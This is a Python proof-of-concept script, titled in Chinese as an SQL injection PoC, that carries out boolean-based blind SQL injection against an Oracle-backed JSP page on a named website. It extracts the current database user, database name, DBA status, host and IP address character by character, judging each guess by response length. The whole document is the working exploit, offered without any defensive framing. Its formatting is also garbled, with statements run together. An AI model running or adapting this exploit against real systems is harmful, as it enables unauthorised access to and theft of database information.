sql注入pythonpoc_SQL注入POC

#encoding=utf-8

importhttplibimportrequestsimporttimeimportstringimportsys

payloads= list('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.')print '[%s] Start to retrive Oracle info' % time.strftime('%H:%M:%S', time.localtime())

currentuser= ''currentdb= ''isdba1= ''currenthost= ''currentip= ''

for i in range(1,6,1):for payload inpayloads:

response= requests.get("http://silkroad.testweb.org/testweb/website/201402001/cn/cContent.jsp?id=F0F0D1CCA972D899E040A8C048013331' AND ASCII(SUBSTR(user,{},1))={} AND '1'='1".format(str(i),str(ord(payload))))if len(response.content) > 145000:

currentuser+=payloadprint '[currentuser]',currentuser

time.sleep(0.01)break

for i in range (1,5,1):for payload inpayloads:

response= requests.get("http://silkroad.testweb.org/testweb/website/201402001/cn/cContent.jsp?id=F0F0D1CCA972D899E040A8C048013331' and ASCII(SUBSTR((SYS_CONTEXT('USERENV','DB_NAME')),{},1))={} and '1'='1".format(str(i),str(ord(payload))))if len(response.content) > 145000:

currentdb+=payloadprint '[currentdb]',currentdb

time.sleep(0.01)break

for i in range (1,6,1):for payload inpayloads:

response= requests.get("http://silkroad.testweb.org/testweb/website/201402001/cn/cContent.jsp?id=F0F0D1CCA972D899E040A8C048013331' and ASCII(SUBSTR((SYS_CONTEXT('USERENV','ISDBA')),{},1))={} and '1'='1".format(str(i),str(ord(payload))))if len(response.content) > 145000:

isdba1+=payloadprint '[currentisdba1]',isdba1

time.sleep(0.01)break

for i in range (1,9,1):for payload inpayloads:

response= requests.get("http://silkroad.testweb.org/testweb/website/201402001/cn/cContent.jsp?id=F0F0D1CCA972D899E040A8C048013331' and ASCII(SUBSTR((SYS_CONTEXT('USERENV','HOST')),{},1))={} and '1'='1".format(str(i),str(ord(payload))))if len(response.content) > 145000:

currenthost+=payloadprint '[currenthost]',currenthost

time.sleep(0.01)break

for i in range (1,13,1):for payload inpayloads:

response= requests.get("http://silkroad.testweb.org/testweb/website/201402001/cn/cContent.jsp?id=F0F0D1CCA972D899E040A8C048013331' and ASCII(SUBSTR((SYS_CONTEXT('USERENV','IP_ADDRESS')),{},1))={} and '1'='1".format(str(i),str(ord(payload))))if len(response.content) > 145000:

currentip+=payloadprint '[currentip]',currentip

time.sleep(0.01)break

print '[%s] Stop to retrive Oracle info' % time.strftime('%H:%M:%S', time.localtime())